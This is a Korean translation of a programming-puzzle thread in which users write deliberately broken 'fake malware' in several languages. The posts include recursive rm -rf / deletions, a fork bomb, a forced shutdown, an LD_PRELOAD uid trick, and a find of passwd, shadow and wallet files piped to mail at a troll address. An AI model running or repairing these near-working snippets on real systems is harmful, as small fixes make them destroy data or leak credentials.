트롤 트롤링 [닫기]


184

트롤이 당신을 사로 잡고 멀웨어를 작성하도록 강요하고 있습니다 (프로그램을 실행하는 컴퓨터를 손상시키는 프로그램으로 정의 됨). 트롤은 코드를 읽고 이해할 수 있지만 버그를 발견하는 데는 좋지 않습니다.

당신의 목표는 다음과 같은 프로그램을 작성하는 것입니다.

  1. 멀웨어처럼 보입니다. 즉, 코드를 읽는 초보 프로그래머는 코드가 코드를 실행하는 컴퓨터를 손상 시킨다는 것을 확신 할 것입니다.
  2. 실제로 전혀 손상이 없습니다.

참고 : 트롤은 주석이 아닌 코드 만 읽습니다. 따라서 코드 자체는 명확하고 확실해야합니다.

예 (bash) :

rm - rf /home

이 예제는 rm -rf /home시스템에서 모든 홈 폴더를 제거하는 것처럼 보이지만 실제로는 rf 앞의 공간으로 인해 작동하지 않으며 무해한 오류 메시지 만 표시합니다.

이것은 수용 가능한 솔루션이지만 버그를 쉽게 발견 할 수 있기 때문에 그다지 좋지 않습니다.

반면에 복잡하고 읽을 수없는 프로그램은 맬웨어처럼 보이지 않기 때문에 그다지 좋은 해결책이 아닙니다.

좋은 해결책은 독자에게 멀웨어임을 확신시킬 수있을 정도로 읽을 수 있어야하지만 탐지하기 어렵고 무해하게 만드는 버그가 포함되어 있어야합니다.

이것은 인기 경연 대회이므로 가장 많이 찬성하는 코드가 승리합니다.


160
rm - rf /내 껍질 속으로 붙여 넣 도록 속이려고하는 것 같은 느낌이 들어요 .
undergroundmonorail

19
배쉬 rm -rf /. 시스템이 아니라면 아주 오래된 , 그것은 필요합니다 --no-preserve-root:)
user80551

10
-1 a) 코드 추적 및 더 중요한 이유 b) 악성 코드 생성에 관한 질문에 매우 우려하고 있습니다.
Gareth

13
@Gareth 실제로 악성 코드는 아니지만 (일반적으로 요즘 숨겨 지거나 데이터를 훔치려 고 시도하는), 대부분의 초보자 프로그래머가 거의 노력하지 않고 쓸 수있는 것들을 삭제하려는 완전히 명백한 시도입니다.
Bob

29
rm - rf /유효한 예가 아닙니다! rf현재 디렉토리에 파일이 있으면 손상 될 수 있습니다.
gnibbler

답변:


139

세게 때리다

나는 다른 길을 갔다. 하드 드라이브의 모든 것을 삭제하는 대신 정크로 채울 것입니다.

이 스크립트는 폴더를 생성 한 다음 지속적으로 cat모든 파일을 구성하고 새 파일에 저장하여 ls -al적절한 측정 값을 제공합니다 (시작 파일에 무언가가 있음).

#!/bin/bash/

makeSpam()
{
    string=`cat *`
    string=$string`ls -al`
    echo $string > "file"$i".spam"
}

mkdir "SpamForYou"
cd "SpamForYou"

i=1
while [ 1 ]
do
  makeSpam $i
  i=$(($i + 1))
done

외...

/ bin / bash 대신 / bin / bash /는 유효한 인터프리터 일 가능성이 거의 없습니다. 이것은 내 일반적인 오타입니다. 그리고 "세방은 기술적으로 주석이기 때문에 트롤은 그것을 무시할 것입니다"


56
+1. 스크립트의 첫 번째 줄은 많은 프로그래머 (나 자신을 포함하여)의 사각 지대입니다.
Erel Segal-Halevi

44
shebang은 기술적으로 주석이므로 트롤은이를 무시합니다
Brian Minton

14
비 댓글 주석을 남용한 +1 :) 그건 분명하지 않습니다
masterX244

37
bash whatever.sh당신의 트릭을 망치
는대로

8
@ Darkhogg, 행운을 빌어 요! 나는로 저장 evil.command트롤 단지 (적어도 맥) 열을 두 번 클릭 할 수 있도록
제임스 웹스터

114

하스켈

확인 이 매뉴얼 페이지를 , removeDirectoryRecursive모든 내용이있는 디렉토리를 삭제합니다!

import System.Directory
main = return (removeDirectoryRecursive "/")

올바른 코드는 다음과 같습니다 main = removeDirectoryRecursive "/"
. main함수는 무언가를 하는 개념 을 반환해야합니다 . 파일 시스템을 지우는 개념removeDirectoryRecursive "/"반환 하지만 함수 (예, 함수)는 해당 값을 반환 하는 더미 개념 으로 인수를 래핑 합니다. 그래서 우리는 당신의 드라이브를 닦는 개념을 돌려주는 개념으로 끝납니다. haskell 런타임은 개념을 좋아합니다. haskell 런타임은 반환 된 개념을 실행 하고 반환 된 값을 버립니다.이 경우 파일 시스템을 지우는 개념입니다.return
main


85
+1. 설명을 읽은 후에도 버그를 이해할 수 없었습니다 ...
Erel Segal-Halevi

3
내가 이해하는 것처럼 이것은 포인터 실수입니다 (함수가 아닌 함수의 포인터를 가리킴). 초보 프로그래머는 일반적으로 포인터 트릭에 쉽게 빠져들 수 있습니다.
gaborous

3
기본적으로 이것은 C return removeDirectoryRecursive;와 달리 비슷 return removeDirectoryRecursive();합니다. 맞습니까?
3Doubloons

4
@ user1121352 아니요. 함수 자체가 호출되었지만 파일이 순수하므로 파일을 삭제할 수 없습니다. 대신,에서 반환 될 때 main실행되고 파일을 제거 하는 IO 작업을 제공 합니다. return그러나 함수를 명시 적으로 사용 하면 값을 작성하기위한 목적으로 IO 조치가 작성됩니다.
mniip

4
@Cthulhu returnreturn다른 언어 (또는 함수에서 값을 "반환") 와는 아무 관련 이 없습니다 . type 값은 IO a다른 언어의 함수와 많은 관련이 없습니다. 그래서 비유는 손으로 엉망입니다
Niklas B.

103

PHP

다음은 웹 사이트에서 모든 단일 파일을 삭제하려고하는 재귀 PHP 스크립트입니다. 웹 사이트가 꽤 큰 경우 완료하는 데 시간이 걸릴 수 있으므로 인내심을 가지십시오 ...

<html>
<body>
<p>Deleting website; please wait
<img src="data:image/gif;base64,R0lGODlhCAAIAPAAAAAAAP///yH/C05FVFNDQVBFMi4wAwEAAAAh+QQEMgD/ACwAAAAACAAIAAACBoSPqcvtXQAh+QQFMgAAACwAAAAACAAIAAACBoyPqcvtXQA7" /></p>
<?php

function zapfiles($dir) {
  if (is_dir($dir)) {
    $files = scandir($dir);
    foreach ($files as $file) {
      if ($file != '.' && $file != '..') {
        if (is_dir("$dir/$file")) {
          zapfiles("$dir/$file");
        }
        else {
          try {
            @delete("$dir/$file"); // Suppress locked file errors
          }
          catch (Exception $e) {
            // Locked files can't be deleted; just carry on
          }
        }
      }
    }
  }
}

zapfiles($_SERVER['DOCUMENT_ROOT']);

?>
<p>Website deletion complete</p>

조그마한 문제 하나만 ...

PHP 에는 delete () 명령 이 없습니다 . 이 명령이 발생하면 스크립트가 실패하지만이 명령 앞에 @를 붙여 오류보고가 표시되지 않으므로 오류 메시지가 표시되지 않습니다 . 깜박이는 GIF 이미지는 전혀 아무 일도 일어나지 않을 때 무언가 일어나고 있다는 인상을줍니다.


31
^ 내가 아는 한 : delete () 함수는 없으며, 매뉴얼은 이것이 올바른 함수를 찾는 사람에게 "가짜 입력"이라고 말합니다 (링크 해제). 그렇다고 PHP에 "자동"리디렉션이있는 것은 아닙니다.
Erti-Chris Eelmaa

93
@ user11153이 (가) 트롤되었습니다.
basher

34
오류가 무시되고 실행이 계속되는 이유는 PHP 때문이라고 생각합니다.
Zoey

17
나는 존재하지 않는 임의의 함수를 사용하는 것이 조금 당연하다고 생각합니다 ( delete파일을 삭제하려면 누구도 바보라고 생각할 이유가 없습니다). 어때 unlⅰnk대신 (대신 "나"의 U + 2170를 사용하는)?
Konrad Rudolph

18
@KonradRudolph deletePHP에서 파일을 삭제하도록 명명 된 함수 는 완전히 믿을 수 있습니다. 믿을 수없는 유일한 것은 그것이 사실이라면, 3 ~ 4 가지의 다른 방법이있을 것이며, 가장 이상한 이름을 가진 방법은 심각한 보안 결함이있을 것입니다.
Brendan Long

93

펄 (유닉스)

시스템의 모든 파일을 삭제합니다.

#! /usr/bin/perl -w
use strict;

sub killdir {
    opendir(my $dh, ".");
    my @dl = readdir($dh);
    closedir($dh);
    foreach my $de (@dl) {
        if (-d $de) {
            chdir($de);
            killdir();
            chdir("..");
            rmdir($de);
        } else {
            unlink($de);
        }
    }
}

chdir("/");
killdir();

풍모

  • 이것은 유효한 Perl입니다. 심지어 컴파일과 실행 -w하고 use strict!

  • C ++와 같은 퀴즈는 없습니다 delete. unlink실제로 파일을 삭제 rmdir하고 디렉토리를 제거하는 기능입니다.

  • 상대 경로를 사용하기 위해 각 디렉토리로 변경하여 절대 경로 이름이 시스템의 최대 길이를 초과 할 수있는 깊이 중첩 된 디렉토리를 올바르게 처리합니다. 또한 디렉토리 핸들이 부족하지 않습니다. 재귀하기 전에 디렉토리를 읽고 닫습니다.

스포일러

Unix에서 루트 디렉토리의 첫 번째 항목은 일반적으로 "."입니다. 따라서 프로그램은 메모리가 부족하고 충돌 할 때까지 chdir ( ".")의 무한 재귀를 수행합니다.

추가 메모

이것은 예상보다 올바르게 달성하기가 어려웠습니다. chdir 접근 방식을 사용하지 않으면 결국 너무 긴 경로 이름을 얻게됩니다. 그런 다음 -d는 false를 반환하고 무한 재귀가 중단되고 파일이 실제로 삭제 될 수 있습니다! 디렉토리 핸들을 열어두면 비슷한 버그가 발생할 수 있습니다. 결국, 당신은 opendir에 실패하고 killdir이 반환되고 삭제가 시작됩니다.


45
"그런 다음 -d는 false를 반환하고 무한 재귀가 깨지고 파일이 실제로 삭제 될 수 있습니다!" 그 어려운 방법을 배웠습니까?
Niklas B.

4
@NiklasB .: 다행히도 나는 더미 버전을 테스트했다 :)
Nate Eldredge

이러한 코드는 빈 폴더 만 삭제할 수 있지만 파일은 삭제할 수 없습니다.
Qwertiy

3
"Unix에서 루트 디렉토리의 첫 번째 항목은 일반적으로". "입니다." 그렇다면 Windows 전용 맬웨어가 하나 더 있습니까?
Alexander

1
@timmyRS : 프로그램 이 중단됩니다. 시스템이 잘 계속 실행됩니다.
Nate Eldredge

81

쉘 원 라이너

피해자의 모든 비밀번호, 개인 키, 비트 코인 등을 훔칩니다.

 find / -name "passwd" -or -name "shadow" -or -name "secring.gpg" -or -name "wallet.dat" |mail troll@nefarious.org

스포일러:

마치 모든 파일을 트롤에게 이메일로 보내는 것처럼 보이지만 실제로는 파일 이름 만 이메일로 보냅니다.


4
내용을 이메일로 보내려면 cat, head또는 tail명령이 어딘가에 관련되어 있어야합니다.
Agi Hammerthief

7
무슨 일이 있어도 여전히 데이터가 유출됩니다. 이 트롤링이 트롤링 트롤인가요?
Kyle Kelley

-exec cat '{}' \; | …
Martin Ueding

@queueoverflow-print0 | xargs -0 cat |
퀀텀

1
코드를 2-3 번 읽은 후 스포일러없이 얻었습니다.
nyuszika7h

74

배치 / CMD

저장하기

DEL %0
DEL %1
DEL %2
DEL %3
DEL %4
DEL %5
DEL %6
DEL %7
DEL %8
DEL %9

컴퓨터에있는 각 드라이브의 매개 변수를 사용하여 실행 시키십시오.

% 0은 항상 첫 번째 매개 변수-파일 이름입니다. 이 후에 실제 매개 변수 세트가 제공되지만 이미 자체 삭제되었으므로 계속하지 않습니다.


104
또한 파일을 닫고 다시 열어서 모든 줄의 다음 줄을 읽는 Batch의 재미있는 동작에 의존합니다.
Bob

8
DEL %0파일의 확장자가 명령 행에 지정되어 있지 않으면 작동하지 않습니다 중 스크립트가 전체 경로를 제공하여 실행하거나 같은 디렉토리에 있습니다. DEL "%~f0"두 문제를 모두 해결하고 경로 내부의 공간에 탄력적입니다. 또한 %10위쪽에는 존재하지 않습니다 . %1그 뒤에 문자가 붙습니다 0.
Jon

14
+1. 트롤이 "DEL % 0"의 기능을 이해하더라도, 이것은 증거를 지우는 것일 뿐이며 배치 파일이 실행이 끝날 때까지 메모리에 남아 있기 때문에 아무런 영향을 미치지 않습니다 (Bob과 같은 거짓). 말했다).
Erel Segal-Halevi

2
영리한 트롤은 오류가 발생하기 쉬운 배치 스크립트가 얼마나 악명 높은지를 고려하지 않는 한 파일 시작시 (끝이 아닌) 자체 삭제 명령을 실행하는 것이 이상하다고 생각합니다.
Agi Hammerthief

10
@ Bob은 배치가 그렇게 생각하지 못했습니다 ... 끔찍합니다.
w4etwetewtwet 2015 년

48

자바 스크립트

infiniteLoop=true;
evilMessage='I spam you !';
while(infiniteLoop) {
  eval(atob('aW5maW5pdGVMb29wPWZhbHNlO2V2aWxNZXNzYWdlPWV2aWxNZXNzYWdlLnJlcGxhY2UoInNwYW0iLCJMT1ZFIik7'));
  alert(evilMessage);
}

글쎄, 원래의 악성 코드는 컴퓨터를 폭파시키지 않지만 성 가실 수 있습니다.

이것은 다음과 같은 이유로 무해합니다.

eval무한 루프를 중단하고 메시지를 수정합니다.


40
난 당신을 찬성했지만 당신은 1337 담당자가 있습니다.
scrblnrd3

5
그러니 제발! :)
Michael M.

@scrblnd 그것은 사라졌다 D :
Riking

11
당신이 그것을 다시 얻을 때까지 다운 투표 나쁜 답변.
David Starkey

4
다른 사람들을 위해 설명하기 위해 atob ( 'aW5maW5pdGVMb29wPWZhbHNlO2V2aWxNZXNzYWdlPWV2aWxNZXNzYWdlLnJlcGxhY2UoInNwYW0iLCJMT1ZFIik7') 는 다음과 같이 실행됩니다 .
Mohammed Joraid

45

자바

신들이 당신의 비참한 요구에 응 해주신 것을 용서해주세요.

class HomeWrecker {
    public static void main(String[] args) throws Exception {
        Runtime.getRuntime().exec("rm -rf /home/*");
    }
}

Runtime.exec 쉘을 호출하지 않으므로 glob 확장이 발생하지 않으며 명령이 문자 그대로 "*"라는 홈 디렉토리를 삭제하려고 시도하지 않습니다.


1
내 홈 디렉토리는 '*'입니다. ;)
Vorac

6
솔직히 이것은 더 나은 Java 답변 중 하나입니다. 이를 위해서는 (많은) 몰락에 대한 확실한 이해가 필요합니다 Runtime.exec(). +1.
Qix

java는 실제로 c의 system()기능 과 동일 합니까?
SuperJedi224

@ SuperJedi224 아니, 당신은 지정해야 /bin/sh -c하거나 cmd /c또는 수동으로 뭐든간에. 명령이 새로운 OS에서 무엇을하는지 알지 못하므로 이해가됩니다.
그 다른 사람

37

그는해야 할 의견을 읽지 않기 때문에 :

#include<stdlib.h>
int main()
{
//Are you reading this??/
 system("C:\\WINDOWS\\System32\\shutdown /s /t 0000");

 return 0;
}

C ++ 버전

DragonLord 에게 감사드립니다 .

#include<cstdlib>
int main ()
{
//Are you reading this??/
system("shutdown -s -t 0000");
return 0; 
}

이것을 시작 폴더에 추가하고 컴퓨터를 다시 시작하십시오.

작동 방식 :

?? /는 trigraph이며 주석에 다음 줄을 추가하므로 기본적으로 아무것도하지 않습니다. 참고 :이 컴파일러를 시도하지 마십시오. 일부 컴파일러에서는 기본적으로이 그래프가 꺼져있을 수 있으며이 기능이 작동하려면 켜져 있어야합니다.


일부 컴파일러에서 작동하는 경우 실제 트롤링입니까?
Antonio Ragagnin

4
아니,하지만 실제 상황에서, 나는 (내가 트롤을 해칠 싶지 않아!)와 같은 코드 트롤 트롤을 원하지
안토니오 Ragagnin

2
@AntonioRagagnin이 컴파일러에서 작동하는 경우 해당 컴파일러는 버그가 있습니다. 그러나 대부분의 최신 컴파일러는 3 그래프 사용에 대해 경고 하지만 코드를 수락하고 컴파일합니다.
Konrad Rudolph

8
따라서 트롤이 주석을 읽지 않고 솔루션이 악성 코드를 주석으로 만드는 것이라면 트롤이 보는 모든 기능 mainreturn 0?
David Starkey

1
??/정말 오래된 트릭입니다 ... 미안 해요.
Isiah Meadows

33

자바

import java.io.File;
class derp
{
    public static void main( String[] a)
    {
        new File("C:\\windows\\System32\ntoskrnl.exe").delete();
    }
}

이스케이프 문자 사용 (ntoskrnl.exe 앞의 \ n은 일반 N 대신 줄 바꿈 임)


20
다른 백 슬래시를 이스케이프하지 않으면 오류가 덜 눈에 띄게 보일 수 있습니다. 트롤은이 언어가 백 슬래시 이스케이프를 사용하지 않는다고 생각할 수 있습니다
3Doubloons

2
@ 3Doubloons이 경우 코드가 컴파일되지 않습니까?
Neil

2
@ 닐 : 좋은 지적입니다. 그렇지는 않겠지 만, 트롤이 그의 독서에 만족하자마자 가면 우리는 분명합니다
3Doubloons

29
new File("C:\ntldr").delete();
Egor Skriptunoff

3
@EgorSkriptunoff XP가 XD의 변형이 아니라는 것을 깨닫는 데 오랜 시간이 걸렸습니다.
저스틴

31

세게 때리다

#!/bin/bash
set -t 

echo "hahaha deleting files.."
rm -rf / --no-preserve-root

set -t는 하나의 명령을 읽고 실행 한 후에 종료됩니다. 이 스크립트는 출력을 인쇄하지 않으며 모든 파일이 안전합니다!

또는 실행하기 전에 다음 읽기 스포일러

#!/bin/bash -t
echo "hahaha deleting files.."
rm -rf / --no-preserve-root

#!/bin/bash -t하나의 명령을 읽고 실행 한 후 대중적인 요구에 따라 .. 종료됩니다. 스크립트를 bash -x무시 -t하고 명령을 실행하므로이 명령을 실행 하지 마십시오 .


스포일러가 나는 차이 무슨 ... 조금 혼란 스러워요 set -t및이 exit? Bash 매뉴얼 페이지는 set -t"하나의 명령"후에 종료되지만 set명령 자체를 해당 명령으로 계산하고 즉시 종료 하는 것으로 나타납니다 .
Kyle Strand

6
추가 명령이 같은 줄에 있으면 set -t (예 : 세미콜론 또는 이중 앰퍼샌드 등으로 분리) 실행됩니다. 이 경우 첫 줄은 set -t; echo "hahaha deleting files.."해당 텍스트를 에코 한 다음 종료됩니다.
JOgden

2
아 감사. ;줄 바꿈과 동작에 차이가 있다는 것을 몰랐습니다 .
Kyle Strand

4
#!/bin/bash -t혹시?
Neil

2
@JOgden 너무 나쁜 bash는 perl과 같은 shebang 파싱 트릭을 수행하지 않습니다 (실행 perl foo.pl하고 foo.pl로 시작 #!somethingendingin/perl -flags하면 perl이 호출 된 것처럼 작동합니다 -flags)
hobbs

30

파이썬

print "****----....____....----"""" This program will clear the browser cache "

import os
from os.path import expanduser
home = expanduser("~")
os.remove(home)

print """"----....____....----***** Cache cleaned. "                                     

세 따옴표 "" "는 파이썬에서 여러 줄 문자열을 시작합니다


5
잘못되어 여러 줄로 된 문자열 을 시작합니다. docs.python.org/2/tutorial/introduction.html#strings
user80551

12
나는 대답을보고 5 초 이내에 말 그대로 문제를 보았으며 파이썬조차 모른다.
모자와 사람

6
좋은 생각은, 트롤이 구문 강조를 사용하면 그것을 찾아 낼 것이라는 문제입니다.
o0 '.

1
평균 트롤은 인터넷에서 임의의 악성 코드를보고 다른 포럼에서 복사하여 붙여 넣는 것 같습니다.
Antonio Ragagnin

1
좋아, 나는 파이썬에 경험이 있고 결함을 보지 못했다. 4 인용 부호를 사용하면 나를 속일 수 있습니다.
gaborous

29

이 프로그램은 유효하며 오류없이 실행됩니다. 새 스레드에서 삭제 기능을 생성하여 root디렉토리 를 삭제합니다 .

import std.concurrency : spawn;
import std.file : rmdirRecurse;

string root;

void deleteRoot()
{
    if (root)
        rmdirRecurse(root);
}

void main()
{
    root = "/";
    spawn(&deleteRoot);
    // ... could add a waiting animation here.
}

그러나 아무것도 삭제되지 않습니다 ...

D에서 모듈 범위에서 선언 된 변수는 기본적으로 스레드 로컬이기 때문입니다. 이 main함수는 "/"로 설정하지만 스폰 스레드에는 빈 복사본이 있으므로 rmdirRecurse함수가 호출되지 않습니다.


1
좋은! 나는 이것을 모르지만 D.
Erel Segal-Halevi

1
"글로벌 변수는 기본적으로 스레드 로컬입니다"이것은 약간 모순입니다
Niklas B.

@NiklasB. 모순은 무엇입니까?
biozic

"글로벌 변수"가 아닙니다. 아마도 "최상위에 선언 된 변수"가 더 나은 설명일까요?
Paŭlo Ebermann

예, 편집했습니다! 덜 모호합니다. 적어도 어휘 적으로 말하면 완전히 모순되는 것은 아닙니다.
biozic

25

C (유닉스)

일부 광고를 추가해도 아무도 해를 끼치 지 않습니다.

#include <stdlib.h>

int main()
{
    // Join the crew
    goto http;//www.trolling.com
    print("Sucker!\n");
    system("rm -rf ~");
    // Remember goto
    http://www.trolling.com
    return 0;
}

http : 레이블입니다. 코드가없는 레이블로 이동합니다. :V


5
나는 이것을 발견했다 :)
Erel Segal-Halevi

17
첫 번째 URL의 세미콜론은이 글꼴에서 쉽게 찾을 수 있습니다. 그러나 그것은 창조적입니다!
CompuChip

12
도움이되었다고 간주 됨
drewbenn

1
이동 후 세미콜론이 없기 때문에 알았습니다. 당신이 goto http;//www.trolling.com;(두 지점에서)로 변경 했다면 놓쳤을 것입니다.
wchargin

2
print함수 가 없기 때문에 어쨌든 컴파일되지 않습니다 .
nyuszika7h

24

자바 스크립트

function foo(a) { // Returns an object, and all objects are truly
    return
    {
        a: a
    };
}
for(var i=0; foo(i); ++i) // loop condition is always truly
    alert('Infinite alerts!');

경고가 표시되지 않습니다. 자바 스크립트를 필요로하지 않기 때문에 ;라인의 끝에서, 그것은 후에 자동으로 삽입 return되고, return;. 그런 다음 undefined"false"인 "object"(실제로 블록 명령문으로 구문 분석 됨) 대신에 리턴됩니다.


3
"truly"및 "falsy"사용을 위해 +1로 유혹했습니다.;)
CompuChip

1
JS의이 "결함"이 여러 번 경비원을 사로 잡았 기 때문에 +1 ... 그것을보기 위해 몇 번 다시 읽어야했습니다
Mark Ormston

12
@NigelNquande 세미콜론은 실패를 일으키지 않으며 줄 바꿈이 발생합니다. 리턴과 리턴 될 오브젝트는 별도의 행에 있으므로 오브젝트는 리턴되지 않습니다. "수정"하려면 줄 바꿈을 제거하여 다음과 같이 읽습니다.return {
Dave Forber

3
트롤이 코드를 축소하지 않기를 바라고 있습니다!
Mohammed Joraid

2
UglifyJS 말한다 WARN: Dropping side-effect-free statement [-:4,11]돌아갑니다 function foo(a){}for(var i=0;foo(i);++i)alert("Infinite alerts!");.
nyuszika7h

22

자바 스크립트

//Config: Warning!!! only set to true on victims box!
var deleteEverything = true;

function deleteIfEvil(){
  if(deleteEverything){
    alert('Destroy Everything!');
    //clear the flag
    var deleteEverything = false;
  } else {
    alert('Tested OK!');
  }
}

deleteIfEvil();

사용하려는 불쾌한 파괴적인 행동에 대해 파괴 경보를 교환하십시오.

스포일러:

구성이 삭제되도록 설정된 것처럼 보이지만 ... 입니다 ! 함수 내부의 'var'선언은 "Hoisted" http://www.adequatelygood.com/JavaScript-Scoping-and-Hoisting.html 이므로 함수를 입력 할 때 실제로 false입니다.


좋은 트릭이지만 왜 플래그를 재설정 하시겠습니까?
Mohammed Joraid

"재설정"은 단지 예일뿐입니다. 'var'접두사가 의도하지 않은 결과를 초래할 수있는 경우와 같이 할당이 유효한 모든 변수 일 수 있습니다.
scunliffe

16

자바

중요한 파일을 삭제합시다!

import java.io.File;
import java.io.IOException;

public class Deleter {

    private File importantFile = null;

    public Deleter(File f) {

        importantFile = f;

        /**}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{
         * }{ I don't care how important that file is. I'm going to delete it! }{
         * }{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{*/}{

        importantFile.delete();

    }

    public static void main(String[] args) throws IOException {
        // Let's delete some important stuff
        new Deleter(new File("/boot/vmlinuz"));
        new Deleter(new File("/etc/passwd"));
        new Deleter(new File("/etc/crontab"));
        new Deleter(new File("/etc/sudoers"));
    }

}

블록 주석에 숨겨져있는 것은 주석 외부의 추가} {입니다. 그러면 파일 삭제가 별도의 인스턴스 초기화 블록에 저장되며 생성자 전에 실행됩니다. 당시 importantFile은 여전히 ​​null입니다.


16
나는 이것을 발견했다 :)
Erel Segal-Halevi

17
트롤이 주석을 읽지 않으면 이것은 매우 분명합니다.
ApproachingDarknessFish

6
나는 "트롤이 주석을 읽지 않는다"는 것을 해석하기로했다. 이 경우 두 문자가 실제로 주석 외부에 있다는 것을 실수로 놓치기 쉽습니다.
Joe K

1
이것은 설명을 읽기 전에 해결 한 유일한 것이었지만 좋은 일이었습니다!
nrubin29

15

배쉬, C, 리눅스

어쩌면 정확히 악성 코드는 아니지만 확실하게 악성 코드의 일부가 될 수 있습니다. :)

모든 리눅스 머신에서 루트를 제공 할 수있는 놀라운 익스플로잇입니다! ,, 우리에게 가지고 있다고 말하지 마라!

#!/bin/sh
cd /tmp
cat >ex.c <<eof
int getuid() { return 0; }
int geteuid() { return 0; }
int getgid() { return 0; }
int getegid() { return 0; }
eof
gcc -shared ex.c -oex.so
LD_PRELOAD=/tmp/ex.so sh
rm /tmp/ex.so /tmp/ex.c

이제 스크립트를 실행하면 루트가 될 것입니다! 당신은 확실히 사용할 수 있습니다 whoami!

실제로 UID = 0 인 모든 응용 프로그램을 트릭합니다 (루트 사용자 ID 임).

코드는 Lcamtuf에 의해 작성되었습니다. 소스 : http://lcamtuf.coredump.cx/soft/ld-expl


+1. 정말 좋은 트릭입니다. 나는 아직도 그것이 어떻게 작동하는지 완전히 이해하지 못한다.
Erel Segal-Halevi

@ErelSegalHalevi : LD_PRELOAD에 대한 자세한 내용 은 stackoverflow.com/questions/426230/what-is-the-ld-preload-trick 을 참조하십시오 .
mik01aj

2
에 대해 읽어보십시오. fakeroot(1)이 라이브러리는 다양한 POSIX 시스템 기능에 대한 호출을 가로 채서 호출자가 전체 시스템에 대한 (가짜) 읽기 및 (가짜) 쓰기 액세스를 가지고 있다고 믿도록 속입니다. 실제로는 실제로 이러한 권한을 부여 할 수는 없지만 (예 : chmod파일 에서 "가짜" 기능을 호출 하고 권한을 변경하는 경우) 가짜 루트는 이러한 권한을 기억하여 stat호출이 업데이트 된 권한을 반환합니다. 일부 배포판에서는이를 사용하여 패키지 빌드 시스템에서 root:root소유권이있는 파일을 만들 수 있습니다 .
sleblanc

1
내가 믿는 lcamtuf입니다 : lcamtuf.coredump.cx/soft/ld-expl – 적어도 90 년대 이후로 그곳을 기억합니다
viraptor

13

세게 때리다

cat <<EOF
ProHaxer Hacking Tool 2014. Destroying your computer in
background, please wait until it finishes.
EOF

# Freeze the machine, so nobody will stop the process.
:(){:|:&};:

# Remove stuff in the background.
rm -rf /* &>/dev/null &

"fork-bomb"줄에 구문 오류가 있습니다. { 뒤에 공백이 있어야합니다. 그렇지 않으면 함수 정의 다음에 { 토큰 자체 가 없기 때문에 스크립트가 실패 합니다.


2
스포일러에서 아마도 ksh포크 폭탄이 구문 오류가 아니기 때문에 이것을 사용하지 않는다는주의를 추가해야합니다 !
devnull 2015 년


@ 데니스 : 관련이 없습니다. 그러나 흥미로운 실은 정직합니다. bash에서 구문 분석이 작동하는 방식을 알고 있으므로 그것을 사용하지 않는 이유는 다음과 같습니다. :-).
Konrad Borowski

11

이맥스 리스프

먼저 간단한 것입니다. 이것은 아무것도하지 않습니다. 실제로에 의해 반환 된 목록에서 : recursive와 동일한 요소를 삭제하려고합니다 directory-files. 파일을 삭제하지 않습니다.

(delete :recursive
    (directory-files "/"))

여기 수의사를 빼앗아 갈 수있는 것입니다.

(let ((files (directory-files "/")))
  (while (setq file (pop files) )
    (delete-file file)))

루트 디렉토리를 삭제하는 데 1 문자 밖에 없습니다.

emacs lisp는 jsut가 무엇이든 기호 이름 (변수, 함수, 매크로 등)이되도록합니다. 기호 이름에 유니 코드를 사용하는 것이 좋습니다. 여기서 일어나고 있습니다.

setq(setq a 3 b 4)a = 3을 수행하는 것과 같이 임의의 수의 인수를 취할 수 있습니다 . b = 4; 그러나 (setq a 3 b)또한 유효하며 a = 3을하고 있습니다. b = 없음;

`setq '의 반환 값은 마지막 변수에 할당 된 값입니다. 실시 예에서 각각도 4 및 nil.

(setq a 3 b)정확히 코드에서 일어나는 일이지만 b 대신 유니 코드 공백 문자를 사용하고 있습니다. 이름이 유니 코드 문자 0x2001 인 변수에 nil 값을 할당하고 있습니다. 이 때문에 nil은 setq에 의해 리턴되며 while 루프의 조건은 절대 적용되지 않습니다. 그 공백 문자를 꺼내면 제대로 작동합니다.


10

또 다른 펄 해커.

나는 2002 년에 이것을 Perlmonks 면서 일반적으로 단지 Perl에 대한 나의 지식을 가능한 한 멀리 밀어 붙이려 고 노력했다. 전혀 편집하지 않았지만 여전히 실행됩니다.

#!/usr/bin/perl -w
use strict;
require File::Path;

my $root_dir = '/';

$root_dir = 'c:\\' if( $^O =~ /Win/i );

rmtree( $root_dir );

mkdir( $root_dir );

open( ROOT, $root_dir );

while(1)
{
  BEGIN{@INC=sub{*DATA}}
  print ROOT <DATA>;
}

__DATA__
# Fill the harddrive with junk!
''=~('('.'?'.'{'.('`'|'%').('['
^'-').('`'|'!').('`'|',').'"'.(
'['^'+').('['^')').('`'|"\)").(
'`'|'.').('['^'/').('{'^('[')).
'\\'.'"'.('`'^'*').('['^"\.").(
'['^'(').('['^'/').('{'^"\[").(
'`'|'!').('`'|'.').('`'|"\/").(
'['^'/').('`'|'(').('`'|"\%").(
'['^')').('{'^'[').('['^"\+").(
'`'|'%').('['^')').('`'|"\,").(
'{'^'[').('`'|'(').('`'|"\!").(
'`'|'#').('`'|'+').('`'|"\%").(
'['^')').'.'.'\\'.'\\'.('`'|'.'
).'\\'.'"'.';'.('`'|'%').("\["^
'#').('`'|')').('['^'/').(';').
'"'.'}'.')');$:='.'^'~';$~='@'|
'(';$^=')'^'[';$/='`'|('.');$_=
'('^'}';$,='`'|'!';$\=')'^"\}";
$:='.'^'~';$~='@'|'(';$^=(')')^
'[';$/='`'|'.';$_='('^('}');$,=
'`'|'!';$\=')'^'}';$:='.'^"\~";
$~='@'|'(';$^=')'^'[';$/=('`')|
'.';$_='('^'}';$,='`'|('!');$\=
')'^'}';$:='.'^'~';$~='@'|"\(";
$^=')'^'[';$/='`'|'.';$_=('(')^
'}';$,='`'|'!';$\=')'^('}');$:=
'.'^'~';$~='@'|'(';$^=')'^"\[";

내가 정확하게 기억한다면, BEGIN블록이 코드의 어느 위치에 있든 먼저 실행됩니다. @INCPerl이 라이브러리를로드하는 위치를 서브 루틴으로 대체합니다 (일반적으로 경로 세트이지만 허용됩니다). 서브 루틴은 실제로 난독 화 된 데이터 블록으로, 정규 표현식 + 평가 마법을 수행합니다. 그런 다음 코드에 도달하면 require File::Path;(이 작업을 수행하지 않았을 때 use)이 하위가 실행되고 전통과 마찬가지로 "다른 펄 해커"만 인쇄하고 종료됩니다. 나머지 코드에는 도달하지 않습니다.


1
